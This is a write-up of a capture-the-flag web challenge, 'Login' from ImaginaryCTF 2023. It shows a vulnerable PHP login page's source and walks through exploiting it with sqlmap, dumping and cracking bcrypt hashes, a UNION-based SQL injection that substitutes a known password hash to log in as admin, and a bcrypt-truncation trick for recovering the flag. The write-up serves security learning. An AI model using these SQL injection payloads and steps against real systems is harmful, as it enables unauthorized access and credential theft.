Login

Writeup for Login (Web) - Imaginary (2023) 💜

Description

A classic PHP login page, nothing special.

Recon

Try to login with admin:admin and get Invalid username or password.

View page source and find a comment.

<!-- /?source -->

Aight so let's check http://login.chal.imaginaryctf.org/?source

$flag = $_ENV['FLAG'] ?? 'jctf{test_flag}';
$magic = $_ENV['MAGIC'] ?? 'aabbccdd11223344';
$db = new SQLite3('/db.sqlite3');

$username = $_POST['username'] ?? '';
$password = $_POST['password'] ?? '';
$msg = '';

if (isset($_GET[$magic])) {
    $password .= $flag;
}

if ($username && $password) {
    $res = $db->querySingle("SELECT username, pwhash FROM users WHERE username = '$username'", true);
    if (!$res) {
        $msg = "Invalid username or password";
    } else if (password_verify($password, $res['pwhash'])) {
        $u = htmlentities($res['username']);
        $msg = "Welcome $u! But there is no flag here :P";
        if ($res['username'] === 'admin') {
            $msg .= "<!-- magic: $magic -->";
        }
    } else {
        $msg = "Invalid username or password";
    }
}

So the $flag will be appended to the $password if we provide the correct $magic value as a GET parameter, e.g. http://login.chal.imaginaryctf.org/?aabbccdd11223344

As the $msg indicates, logging in as the admin will not provide the flag. It will give us the $magic value we need but we'll still need a way to recover the flag.

Solution

I go straight for sqlmap, feeding the POST login request as a file.

sqlmap -r new.req --batch

We quickly find our vuln.

Parameter: username (POST)
    Type: time-based blind
    Title: SQLite > 2.0 AND time-based blind (heavy query)
    Payload: username=admin' AND 7431=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2))))-- bqUp&password=admin

Let's exploit it to get the admin's password, then we can login and get the magic value! Start off finding the tables.

sqlmap -r new.req --batch --tables
+-------+
| users |
+-------+

Now we can use --columns to narrow it down further.

sqlmap -r new.req --batch -T users --columns

However, I decided to guess instead.

sqlmap -r new.req --batch -T users -C password --dump
+----------+
| password |
+----------+
| <blank>  |
| <blank>  |
+----------+

Guess we need pwhash instead, then we can crack it.

sqlmap -r new.req --batch -T users -C pwhash --dump
+--------------------------------------------------------------+
| pwhash                                                       |
+--------------------------------------------------------------+
| $2y$10$vw1OC907/WpJagql/LmHV.7zs8I3RE9N0BC4/Tx9I90epSI2wr3S. |
| $2y$10$Is00vB1hRNHYBl9BzJwDouQFCU85YyRjJ81q0CX1a3sYtvsZvJudC |
+--------------------------------------------------------------+

Let's confirm the hash type.

hashid '$2y$10$vw1OC907/WpJagql/LmHV.7zs8I3RE9N0BC4/Tx9I90epSI2wr3S.'
[+] Blowfish(OpenBSD)
[+] Woltlab Burning Board 4.x
[+] bcrypt

We check the mode in hashcat and put the hashes into a file called "hash".

hashcat -h | grep -i blowfish
3200 | bcrypt $2*$, Blowfish (Unix

Time to crack (I have the rockyou.txt wordlist in an environment variable)!

hashcat -m 3200 hash $rockyou

It said it would take 2 days in my VM so I switched to windows (GPU), reduced time to ~10 hours.

hashcat.exe -m 3200 hashes/hashes.txt wordlists/rockyou.txt

Not likely to be intended lol. I guess we could half the time by only trying to crack the admin password. I ran SQLMap again and dumped the users; guest and admin.

Note, we can login as guest:guest but just get Welcome guest! But there is no flag here :P.

Maybe Password_verify() always return true with some hash

Nope, didn't work for me. Maybe SQL Injection with password_verify()

It looks good! According to this answer we can select a username, along with a "fake" password hash of our choice.

 SELECT * FROM table
 WHERE Username = 'xxx'
 UNION SELECT 'root' AS username, '$6$ErsDojKr$7wXeObXJSXeSRzCWFi0ANfqTPndUGlEp0y1NkhzVl5lWaLibhkEucBklU6j43/JeUPEtLlpRFsFcSOqtEfqRe0' AS Password'

Took some trial and error but eventually:

guest' UNION SELECT 'admin', '$2y$10$vw1OC907/WpJagql/LmHV.7zs8I3RE9N0BC4/Tx9I90epSI2wr3S.' AS pwhash --

So the full SQL statement on the backend will look like.

$res = $db->querySingle("SELECT username, pwhash FROM users WHERE username = 'guest' UNION SELECT 'admin', '$2y$10$vw1OC907/WpJagql/LmHV.7zs8I3RE9N0BC4/Tx9I90epSI2wr3S.' AS pwhash --'", true);

Essentially, it's grabbing the admin user along with the guest password hash (which we know translates to guest). We login (username set to our SQLi payload and the password is guest). Our magic value is in the source!

Welcome admin! But there is no flag here :P<!-- magic: 688a35c685a7a654abc80f8e123ad9f0 -->

Now we know that visiting http://login.chal.imaginaryctf.org/?688a35c685a7a654abc80f8e123ad9f0 will trigger the following code, appending the flag to the password.

if (isset($_GET[$magic])) {
    $password .= $flag;
}

Note: I didn't finish this challenge but let me finish the writeup for the sake of completion.

There's a recently closed github issue: password_hash documentation: Caution about bcrypt max password length of 72 should mention bytes instead of characters

Caution Using the PASSWORD_BCRYPT as the algorithm, will result in the password parameter being truncated to a maximum length of 72 characters.

So, we can combine our first exploit (selecting any known password hash with SQLi) with the truncation vulnerability.

We submit the bcrypt hash of (71 * A) + flag_char as the password, where flag_char is looping through all printable ASCII chars.

If the login is successful, we've cracked that character of the flag and we can now do (70 * A) + flag_char, until we have the full flag.

Doing so would recover our flag.

Flag: ictf{why_are_bcrypt_truncating_my_passwords?!}

Apparently, this was covered in a recent video from IppSec. There's a solve script included with f0rk3b0mb's writeup 💜

Last updated